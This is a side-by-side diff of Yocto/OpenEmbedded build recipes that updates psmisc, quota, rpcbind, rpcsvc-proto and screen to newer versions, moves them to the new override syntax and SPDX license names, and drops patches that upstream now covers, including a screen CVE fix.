52ALTERNATIVE_PRIORITY = "90" 53ALTERNATIVE_PRIORITY = "90"
53 54
54ALTERNATIVE_killall = "killall" 55ALTERNATIVE:killall = "killall"
55 56
56ALTERNATIVE_fuser = "fuser" 57ALTERNATIVE:fuser = "fuser"
58
59ALTERNATIVE:pstree = "pstree"
diff --git a/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch b/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
index ca13bdbd15..01335bdf40 100644
--- a/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
+++ b/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
@@ -1,4 +1,4 @@
1From 115fcf1daff18aa2f2e130d63704f04031878db0 Mon Sep 17 00:00:00 2001 1From 338d2d46d1c20ebadf317938af98d0532a62f8d4 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com> 2From: Khem Raj <raj.khem@gmail.com>
3Date: Thu, 24 Mar 2016 15:46:14 +0000 3Date: Thu, 24 Mar 2016 15:46:14 +0000
4Subject: [PATCH] Use UINTPTR_MAX instead of __WORDSIZE 4Subject: [PATCH] Use UINTPTR_MAX instead of __WORDSIZE
@@ -13,7 +13,7 @@ Upstream-Status: Pending
13 1 file changed, 8 insertions(+), 5 deletions(-) 13 1 file changed, 8 insertions(+), 5 deletions(-)
14 14
15diff --git a/src/peekfd.c b/src/peekfd.c 15diff --git a/src/peekfd.c b/src/peekfd.c
16index 5aa990a..7e8e3fc 100644 16index 36dff04..2b4b1dc 100644
17--- a/src/peekfd.c 17--- a/src/peekfd.c
18+++ b/src/peekfd.c 18+++ b/src/peekfd.c
19@@ -30,8 +30,11 @@ 19@@ -30,8 +30,11 @@
@@ -28,7 +28,7 @@ index 5aa990a..7e8e3fc 100644
28 #include <getopt.h> 28 #include <getopt.h>
29 #include <ctype.h> 29 #include <ctype.h>
30 #include <dirent.h> 30 #include <dirent.h>
31@@ -266,11 +269,11 @@ int main(int argc, char **argv) 31@@ -341,11 +344,11 @@ int main(int argc, char **argv)
32 if (WIFSTOPPED(status)) { 32 if (WIFSTOPPED(status)) {
33 #ifdef PPC 33 #ifdef PPC
34 struct pt_regs regs; 34 struct pt_regs regs;
diff --git a/meta/recipes-extended/psmisc/psmisc_23.4.bb b/meta/recipes-extended/psmisc/psmisc_23.7.bb
index 894443f4ef..ea272cd92d 100644
--- a/meta/recipes-extended/psmisc/psmisc_23.4.bb
+++ b/meta/recipes-extended/psmisc/psmisc_23.7.bb
@@ -1,9 +1,9 @@
1require psmisc.inc 1require psmisc.inc
2LICENSE = "GPLv2" 2LICENSE = "GPL-2.0-only"
3LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3" 3LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
4 4
5SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https \ 5SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https;branch=master \
6 file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \ 6 file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
7 " 7 "
8SRCREV = "5fab6b7ab385080f1db725d6803136ec1841a15f" 8SRCREV = "9091d6dbcce3d8fb87adf9249a2eb346d25a562c"
9S = "${WORKDIR}/git" 9S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch b/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch
deleted file mode 100644
index 34ded2d857..0000000000
--- a/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch
+++ /dev/null
@@ -1,34 +0,0 @@
1From 02b222a335527f1031cc9495d8c5ebc1bc5b1d4e Mon Sep 17 00:00:00 2001
2From: Fabrice Fontaine <fontaine.fabrice@gmail.com>
3Date: Wed, 11 Nov 2020 15:00:47 +0100
4Subject: [PATCH] quota: Use realloc(3) instead of reallocarray(3)
5
6reallocarray(3) has been added to glibc relatively recently (version
72.26, from 2017) and apparently not all users run new enough glibc. Just
8use realloc(3) for now since in this case there's no real risk of
9overflow.
10
11Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
12Signed-off-by: Jan Kara <jack@suse.cz>
13Upstream-Status: Backport
14Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
15---
16 quota.c | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/quota.c b/quota.c
20index a6ed61f..a60de12 100644
21--- a/quota.c
22+++ b/quota.c
23@@ -385,7 +385,7 @@ int main(int argc, char **argv)
24 break;
25 case 259:
26 fscount++;
27- fsnames = reallocarray(fsnames, fscount, sizeof(char *));
28+ fsnames = realloc(fsnames, fscount * sizeof(char *));
29 if (!fsnames)
30 die(1, _("Not enough memory for filesystem names"));
31 fsnames[fscount - 1] = optarg;
32--
332.17.1
34
diff --git a/meta/recipes-extended/quota/quota/fcntl.patch b/meta/recipes-extended/quota/quota/fcntl.patch
index 51a770ce6e..09a0c687b6 100644
--- a/meta/recipes-extended/quota/quota/fcntl.patch
+++ b/meta/recipes-extended/quota/quota/fcntl.patch
@@ -1,3 +1,8 @@
1From 00a456145531d194d3993c9f4cd404d5ca16c9df Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 6 Apr 2015 17:36:44 +0000
4Subject: [PATCH] quota: Fix build with musl
5
1Include fcntl.h to pacify compiler errors on musl 6Include fcntl.h to pacify compiler errors on musl
2like 7like
3 8
@@ -9,20 +14,14 @@ Upstream-Status: Pending
9 14
10Signed-off-by: Khem Raj <raj.khem@gmail.com> 15Signed-off-by: Khem Raj <raj.khem@gmail.com>
11 16
12diff --git a/quota.h b/quota.h 17---
13index 4c21411..d20c217 100644 18 quotacheck.c | 1 +
14--- a/quota.h 19 quotaio.c | 1 +
15+++ b/quota.h 20 rquota_client.c | 4 ++++
16@@ -182,6 +182,6 @@ enum { 21 3 files changed, 6 insertions(+)
17 #endif 22
18 #endif
19
20-long quotactl __P((int, const char *, qid_t, caddr_t));
21+long quotactl (int, const char *, qid_t, caddr_t);
22
23 #endif /* _QUOTA_ */
24diff --git a/quotacheck.c b/quotacheck.c 23diff --git a/quotacheck.c b/quotacheck.c
25index 2cdf475..07c18a7 100644 24index bd62d9a..772a27d 100644
26--- a/quotacheck.c 25--- a/quotacheck.c
27+++ b/quotacheck.c 26+++ b/quotacheck.c
28@@ -19,6 +19,7 @@ 27@@ -19,6 +19,7 @@
@@ -46,7 +45,7 @@ index 94ae458..d57fc1a 100644
46 #include <sys/stat.h> 45 #include <sys/stat.h>
47 #include <sys/file.h> 46 #include <sys/file.h>
48diff --git a/rquota_client.c b/rquota_client.c 47diff --git a/rquota_client.c b/rquota_client.c
49index a3a4ae3..0ffe7a9 100644 48index 7f8e821..d48505a 100644
50--- a/rquota_client.c 49--- a/rquota_client.c
51+++ b/rquota_client.c 50+++ b/rquota_client.c
52@@ -19,7 +19,9 @@ 51@@ -19,7 +19,9 @@
diff --git a/meta/recipes-extended/quota/quota_4.06.bb b/meta/recipes-extended/quota/quota_4.09.bb
index 19ccbd588a..b779657dfc 100644
--- a/meta/recipes-extended/quota/quota_4.06.bb
+++ b/meta/recipes-extended/quota/quota_4.09.bb
@@ -1,16 +1,16 @@
1SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem" 1SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
2SECTION = "base" 2SECTION = "base"
3HOMEPAGE = "http://sourceforge.net/projects/linuxquota/" 3HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
4DESCRIPTION = "Tools and patches for the Linux Diskquota system as part of the Linux kernel"
4BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136" 5BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
5LICENSE = "BSD & GPLv2+ & LGPLv2.1+" 6LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
6LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \ 7LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
7 file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb" 8 file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
8 9
9SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \ 10SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
10 file://fcntl.patch \ 11 file://fcntl.patch \
11 file://0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch \ 12 "
12 " 13SRC_URI[sha256sum] = "9cdaca154bc92afc3117f0e5f5b3208dd5f84583af1cf061c39baa0a2bb142f9"
13SRC_URI[sha256sum] = "2f3e03039f378d4f0d97acdb49daf581dcaad64d2e1ddf129495fd579fbd268d"
14 14
15CVE_PRODUCT = "linux_diskquota" 15CVE_PRODUCT = "linux_diskquota"
16 16
@@ -26,7 +26,7 @@ LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
26ASNEEDED = "" 26ASNEEDED = ""
27 27
28PACKAGECONFIG ??= "tcp-wrappers rpc bsd" 28PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
29PACKAGECONFIG_libc-musl = "tcp-wrappers rpc" 29PACKAGECONFIG:libc-musl = "tcp-wrappers rpc"
30 30
31PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers" 31PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
32PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc" 32PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
diff --git a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
index b92f2cf7b1..79dc96050e 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
+++ b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
@@ -21,7 +21,7 @@ index 2dd9471..47a46c0 100644
21 AC_SUBST([_sbindir]) 21 AC_SUBST([_sbindir])
22 AC_CONFIG_COMMANDS_PRE([eval eval _sbindir=$sbindir]) 22 AC_CONFIG_COMMANDS_PRE([eval eval _sbindir=$sbindir])
23+AC_SUBST([_sysconfdir]) 23+AC_SUBST([_sysconfdir])
24+AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sbindir]) 24+AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sysconfdir])
25 25
26 AC_OUTPUT([Makefile systemd/rpcbind.service]) 26 AC_OUTPUT([Makefile systemd/rpcbind.service])
27diff --git a/systemd/rpcbind.service.in b/systemd/rpcbind.service.in 27diff --git a/systemd/rpcbind.service.in b/systemd/rpcbind.service.in
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
index 434b6b1c4c..535f9ce20d 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
+++ b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
@@ -15,7 +15,7 @@ Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
15 3 files changed, 26 insertions(+), 3 deletions(-) 15 3 files changed, 26 insertions(+), 3 deletions(-)
16 16
17diff --git a/man/rpcbind.8 b/man/rpcbind.8 17diff --git a/man/rpcbind.8 b/man/rpcbind.8
18index af6200f..2e6146b 100644 18index fbf0ace..66f7c08 100644
19--- a/man/rpcbind.8 19--- a/man/rpcbind.8
20+++ b/man/rpcbind.8 20+++ b/man/rpcbind.8
21@@ -11,7 +11,7 @@ 21@@ -11,7 +11,7 @@
@@ -27,17 +27,17 @@ index af6200f..2e6146b 100644
27 .Sh DESCRIPTION 27 .Sh DESCRIPTION
28 The 28 The
29 .Nm 29 .Nm
30@@ -107,6 +107,8 @@ will automatically add 30@@ -96,6 +96,8 @@ will automatically add
31 and if IPv6 is enabled, 31 and if IPv6 is enabled,
32 .Li ::1 32 .Li ::1
33 to the list. 33 to the list.
34+.It Fl p 34+.It Fl p
35+Bind for fixed UDP port number 35+Bind for fixed UDP port number
36 .It Fl i 36 If no
37 .Dq Insecure 37 .Fl h
38 mode. 38 option is specified,
39diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c 39diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c
40index 8aef9e5..c2632a4 100644 40index 1743dad..07a1c75 100644
41--- a/src/rpcb_svc_com.c 41--- a/src/rpcb_svc_com.c
42+++ b/src/rpcb_svc_com.c 42+++ b/src/rpcb_svc_com.c
43@@ -48,6 +48,7 @@ 43@@ -48,6 +48,7 @@
@@ -60,8 +60,8 @@ index 8aef9e5..c2632a4 100644
60 int fd; 60 int fd;
61 struct rmtcallfd_list *rmt; 61 struct rmtcallfd_list *rmt;
62 SVCXPRT *xprt; 62 SVCXPRT *xprt;
63+ struct __rpc_sockinfo si; 63+ struct __rpc_sockinfo si;
64+ struct t_bind taddr; 64+ struct t_bind taddr;
65 65
66 if ((fd = __rpc_nconf2fd(nconf)) == -1) { 66 if ((fd = __rpc_nconf2fd(nconf)) == -1) {
67 if (debugging) 67 if (debugging)
@@ -70,23 +70,23 @@ index 8aef9e5..c2632a4 100644
70 return (-1); 70 return (-1);
71 } 71 }
72+ 72+
73+ if (fixed_port) { 73+ if (fixed_port) {
74+ __rpc_fd2sockinfo(fd, &si); 74+ __rpc_fd2sockinfo(fd, &si);
75+ memset(&taddr, 0, sizeof(taddr)); 75+ memset(&taddr, 0, sizeof(taddr));
76+ taddr.addr.maxlen = taddr.addr.len = si.si_alen; 76+ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
77+ taddr.addr.buf = malloc(si.si_alen); 77+ taddr.addr.buf = malloc(si.si_alen);
78+ if (taddr.addr.buf == NULL) { 78+ if (taddr.addr.buf == NULL) {
79+ return -1; 79+ return -1;
80+ } 80+ }
81+ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af; 81+ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
82+ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port); 82+ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
83+ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE); 83+ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
84+ } else 84+ } else
85 xprt = svc_tli_create(fd, 0, (struct t_bind *) 0, 0, 0); 85 xprt = svc_tli_create(fd, 0, (struct t_bind *) 0, 0, 0);
86 if (xprt == NULL) { 86 if (xprt == NULL) {
87 if (debugging) 87 if (debugging)
88diff --git a/src/rpcbind.c b/src/rpcbind.c 88diff --git a/src/rpcbind.c b/src/rpcbind.c
89index 137011b..dc3d2d6 100644 89index 25d8a90..36a95b9 100644
90--- a/src/rpcbind.c 90--- a/src/rpcbind.c
91+++ b/src/rpcbind.c 91+++ b/src/rpcbind.c
92@@ -111,6 +111,7 @@ int runasdaemon = 0; 92@@ -111,6 +111,7 @@ int runasdaemon = 0;
@@ -97,7 +97,7 @@ index 137011b..dc3d2d6 100644
97 97
98 char **hosts = NULL; 98 char **hosts = NULL;
99 int nhosts = 0; 99 int nhosts = 0;
100@@ -869,7 +870,7 @@ parseargs(int argc, char *argv[]) 100@@ -884,7 +885,7 @@ parseargs(int argc, char *argv[])
101 { 101 {
102 int c; 102 int c;
103 oldstyle_local = 1; 103 oldstyle_local = 1;
@@ -106,25 +106,25 @@ index 137011b..dc3d2d6 100644
106 switch (c) { 106 switch (c) {
107 case 'a': 107 case 'a':
108 doabort = 1; /* when debugging, do an abort on */ 108 doabort = 1; /* when debugging, do an abort on */
109@@ -887,6 +888,9 @@ parseargs(int argc, char *argv[]) 109@@ -902,6 +903,9 @@ parseargs(int argc, char *argv[])
110 if (hosts[nhosts - 1] == NULL) 110 if (hosts[nhosts - 1] == NULL)
111 errx(1, "Out of memory"); 111 errx(1, "Out of memory");
112 break; 112 break;
113+ case 'p': 113+ case 'p':
114+ fixed_port = atoi(optarg); 114+ fixed_port = atoi(optarg);
115+ break; 115+ break;
116 case 'i': 116 case 'i':
117 insecure = 1; 117 insecure = 1;
118 break; 118 break;
119@@ -905,7 +909,7 @@ parseargs(int argc, char *argv[]) 119@@ -920,7 +924,7 @@ parseargs(int argc, char *argv[])
120 break; 120 break;
121 #endif 121 #endif
122 default: /* error */ 122 default: /* error */
123- fprintf(stderr, "usage: rpcbind [-adhilswf]\n"); 123- fprintf(stderr, "usage: rpcbind [-adhilswf]\n");
124+ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n"); 124+ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
125 exit (1); 125 exit (1);
126 } 126 }
127 } 127 }
128-- 128--
1291.9.1 1292.25.1
130 130
diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
index ec8f9e48b2..dbd4d32e0a 100644
--- a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb
+++ b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
@@ -16,8 +16,7 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
16 file://rpcbind_add_option_to_fix_port_number.patch \ 16 file://rpcbind_add_option_to_fix_port_number.patch \
17 file://0001-systemd-use-EnvironmentFile.patch \ 17 file://0001-systemd-use-EnvironmentFile.patch \
18 " 18 "
19SRC_URI[md5sum] = "ed46f09b9c0fa2d49015f6431bc5ea7b" 19SRC_URI[sha256sum] = "5613746489cae5ae23a443bb85c05a11741a5f12c8f55d2bb5e83b9defeee8de"
20SRC_URI[sha256sum] = "2ce360683963b35c19c43f0ee2c7f18aa5b81ef41c3fdbd15ffcb00b8bffda7a"
21 20
22inherit autotools update-rc.d systemd pkgconfig update-alternatives 21inherit autotools update-rc.d systemd pkgconfig update-alternatives
23 22
@@ -27,29 +26,30 @@ PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
27INITSCRIPT_NAME = "rpcbind" 26INITSCRIPT_NAME = "rpcbind"
28INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ." 27INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
29 28
30SYSTEMD_SERVICE_${PN} = "rpcbind.service rpcbind.socket" 29SYSTEMD_SERVICE:${PN} = "rpcbind.service rpcbind.socket"
31 30
32inherit useradd 31inherit useradd
33 32
34USERADD_PACKAGES = "${PN}" 33USERADD_PACKAGES = "${PN}"
35USERADD_PARAM_${PN} = "--system --no-create-home --home-dir / \ 34USERADD_PARAM:${PN} = "--system --no-create-home --home-dir / \
36 --shell /bin/false --user-group rpc" 35 --shell /bin/false --user-group rpc"
37 36
38PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}" 37PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
39PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/, \ 38PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/, \
40 --without-systemdsystemunitdir, \ 39 --without-systemdsystemunitdir, \
41 systemd \ 40 systemd \
42" 41"
43 42
44EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc" 43EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc --with-statedir=${runtimedir}/rpcbind"
45 44
46do_install_append () { 45do_install:append () {
47 install -d ${D}${sysconfdir}/init.d 46 install -d ${D}${sysconfdir}/init.d
48 sed -e 's,/etc/,${sysconfdir}/,g' \ 47 sed -e 's,/etc/,${sysconfdir}/,g' \
49 -e 's,/sbin/,${sbindir}/,g' \ 48 -e 's,/sbin/,${sbindir}/,g' \
50 ${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind 49 ${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
51 chmod 0755 ${D}${sysconfdir}/init.d/rpcbind 50 chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
51 install -m 0644 ${WORKDIR}/rpcbind.conf ${D}${sysconfdir}/rpcbind.conf
52} 52}
53 53
54ALTERNATIVE_${PN} = "rpcinfo" 54ALTERNATIVE:${PN} = "rpcinfo"
55ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo" 55ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo"
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
index 5aff2b56a6..20933153a3 100644
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
@@ -15,25 +15,25 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=0daaf958d5531ab86169ec6e275e1517"
15SECTION = "libs" 15SECTION = "libs"
16DEPENDS += "rpcsvc-proto-native" 16DEPENDS += "rpcsvc-proto-native"
17 17
18PV = "1.4.2" 18PV = "1.4.4"
19 19
20SRCREV = "6f54e54455c073d08a56ea627c6cd2355a40eb53" 20SRCREV = "c65926005e50da02a4da3e26abc42eded36cd19d"
21 21
22SRC_URI = "git://github.com/thkukuk/${BPN} \ 22SRC_URI = "git://github.com/thkukuk/${BPN};branch=master;protocol=https \
23 file://0001-Use-cross-compiled-rpcgen.patch \ 23 file://0001-Use-cross-compiled-rpcgen.patch \
24 " 24 "
25 25
26S = "${WORKDIR}/git" 26S = "${WORKDIR}/git"
27 27
28inherit autotools gettext 28inherit autotools gettext
29 29
30EXTRA_OEMAKE_class-native = " -C rpcgen" 30EXTRA_OEMAKE:class-native = " -C rpcgen"
31 31
32do_configure_prepend() { 32do_configure:prepend() {
33 touch ${S}/ABOUT-NLS 33 touch ${S}/ABOUT-NLS
34} 34}
35 35
36do_install_append() { 36do_install:append() {
37 # They come from quota recipe 37 # They come from quota recipe
38 rm -rf ${D}${includedir}/rpcsvc/rquota.[hx] 38 rm -rf ${D}${includedir}/rpcsvc/rquota.[hx]
39} 39}
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
index 208974004b..8e459b5634 100644
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
@@ -10,14 +10,11 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
10 rpcsvc/Makefile.am | 2 +- 10 rpcsvc/Makefile.am | 2 +-
11 1 file changed, 1 insertion(+), 1 deletion(-) 11 1 file changed, 1 insertion(+), 1 deletion(-)
12 12
13Index: git/rpcsvc/Makefile.am 13--- a/rpcsvc/Makefile.am
14=================================================================== 14+++ b/rpcsvc/Makefile.am
15--- git.orig/rpcsvc/Makefile.am 15@@ -12,4 +12,4 @@ nodist_rpcsvc_HEADERS = klm_prot.h nlm_p
16+++ git/rpcsvc/Makefile.am
17@@ -12,5 +12,5 @@ nodist_rpcsvc_HEADERS = klm_prot.h nlm_p
18 nfs_prot.h rquota.h sm_inter.h 16 nfs_prot.h rquota.h sm_inter.h
19 17
20 %.h: %.x 18 .x.h:
21- $(top_builddir)/rpcgen/rpcgen -h -o $@ $< 19- $(top_builddir)/rpcgen/rpcgen -h -o $@ $<
22+ rpcgen -h -o $@ $< 20+ rpcgen -h -o $@ $<
23
diff --git a/meta/recipes-extended/screen/screen/CVE-2021-26937.patch b/meta/recipes-extended/screen/screen/CVE-2021-26937.patch
deleted file mode 100644
index 983b35c1b0..0000000000
--- a/meta/recipes-extended/screen/screen/CVE-2021-26937.patch
+++ /dev/null
@@ -1,68 +0,0 @@
1Description: [CVE-2021-26937] Fix out of bounds array access
2Author: Michael Schröder <mls@suse.de>
3Bug-Debian: https://bugs.debian.org/982435
4Bug: https://savannah.gnu.org/bugs/?60030
5Bug: https://lists.gnu.org/archive/html/screen-devel/2021-02/msg00000.html
6Bug-OSS-Security: https://www.openwall.com/lists/oss-security/2021/02/09/3
7Origin: https://lists.gnu.org/archive/html/screen-devel/2021-02/msg00010.html
8
9CVE: CVE-2021-26937
10Upstream-Status: Pending
11Signed-off-by: Scott Murray <scott.murray@konsulko.com>
12
13--- a/encoding.c
14+++ b/encoding.c
15@@ -43,7 +43,7 @@
16 # ifdef UTF8
17 static int recode_char __P((int, int, int));
18 static int recode_char_to_encoding __P((int, int));
19-static void comb_tofront __P((int, int));
20+static void comb_tofront __P((int));
21 # ifdef DW_CHARS
22 static int recode_char_dw __P((int, int *, int, int));
23 static int recode_char_dw_to_encoding __P((int, int *, int));
24@@ -1263,6 +1263,8 @@
25 {0x30000, 0x3FFFD},
26 };
27
28+ if (c >= 0xdf00 && c <= 0xdfff)
29+ return 1; /* dw combining sequence */
30 return ((bisearch(c, wide, sizeof(wide) / sizeof(struct interval) - 1)) ||
31 (cjkwidth &&
32 bisearch(c, ambiguous,
33@@ -1330,11 +1332,12 @@
34 }
35
36 static void
37-comb_tofront(root, i)
38-int root, i;
39+comb_tofront(i)
40+int i;
41 {
42 for (;;)
43 {
44+ int root = i >= 0x700 ? 0x801 : 0x800;
45 debug1("bring to front: %x\n", i);
46 combchars[combchars[i]->prev]->next = combchars[i]->next;
47 combchars[combchars[i]->next]->prev = combchars[i]->prev;
48@@ -1396,9 +1399,9 @@
49 {
50 /* full, recycle old entry */
51 if (c1 >= 0xd800 && c1 < 0xe000)
52- comb_tofront(root, c1 - 0xd800);
53+ comb_tofront(c1 - 0xd800);
54 i = combchars[root]->prev;
55- if (c1 == i + 0xd800)
56+ if (i == 0x800 || i == 0x801 || c1 == i + 0xd800)
57 {
58 /* completely full, can't recycle */
59 debug("utf8_handle_comp: completely full!\n");
60@@ -1422,7 +1425,7 @@
61 mc->font = (i >> 8) + 0xd8;
62 mc->fontx = 0;
63 debug3("combinig char %x %x -> %x\n", c1, c, i + 0xd800);
64- comb_tofront(root, i);
65+ comb_tofront(i);
66 }
67
68 #else /* !UTF8 */
diff --git a/meta/recipes-extended/screen/screen_4.8.0.bb b/meta/recipes-extended/screen/screen_4.9.1.bb
index fe640c262b..7b040e6b57 100644
--- a/meta/recipes-extended/screen/screen_4.8.0.bb
+++ b/meta/recipes-extended/screen/screen_4.9.1.bb
@@ -7,25 +7,23 @@ BUGTRACKER = "https://savannah.gnu.org/bugs/?func=additem&group=screen"
7 7
8SECTION = "console/utils" 8SECTION = "console/utils"
9 9
10LICENSE = "GPLv3+" 10LICENSE = "GPL-3.0-or-later"
11LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ 11LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
12 file://screen.h;endline=26;md5=b8dc717c9a3dba842ae6c44ca0f73f52 \ 12 file://screen.h;endline=26;md5=b8dc717c9a3dba842ae6c44ca0f73f52 \
13 " 13 "
14 14
15DEPENDS = "ncurses virtual/crypt \ 15DEPENDS = "ncurses virtual/crypt \
16 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}" 16 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
17RDEPENDS_${PN} = "base-files" 17RDEPENDS:${PN} = "base-files"
18 18
19SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \ 19SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \
20 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \ 20 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \
21 file://0002-comm.h-now-depends-on-term.h.patch \ 21 file://0002-comm.h-now-depends-on-term.h.patch \
22 file://0001-fix-for-multijob-build.patch \ 22 file://0001-fix-for-multijob-build.patch \
23 file://0001-Remove-more-compatibility-stuff.patch \ 23 file://0001-Remove-more-compatibility-stuff.patch \
24 file://CVE-2021-26937.patch \ 24 "
25 "
26 25
27SRC_URI[md5sum] = "d276213d3acd10339cd37848b8c4ab1e" 26SRC_URI[sha256sum] = "26cef3e3c42571c0d484ad6faf110c5c15091fbf872b06fa7aa4766c7405ac69"
28SRC_URI[sha256sum] = "6e11b13d8489925fde25dfb0935bf6ed71f9eb47eff233a181e078fde5655aa1"
29 27
30inherit autotools texinfo 28inherit autotools texinfo
31 29
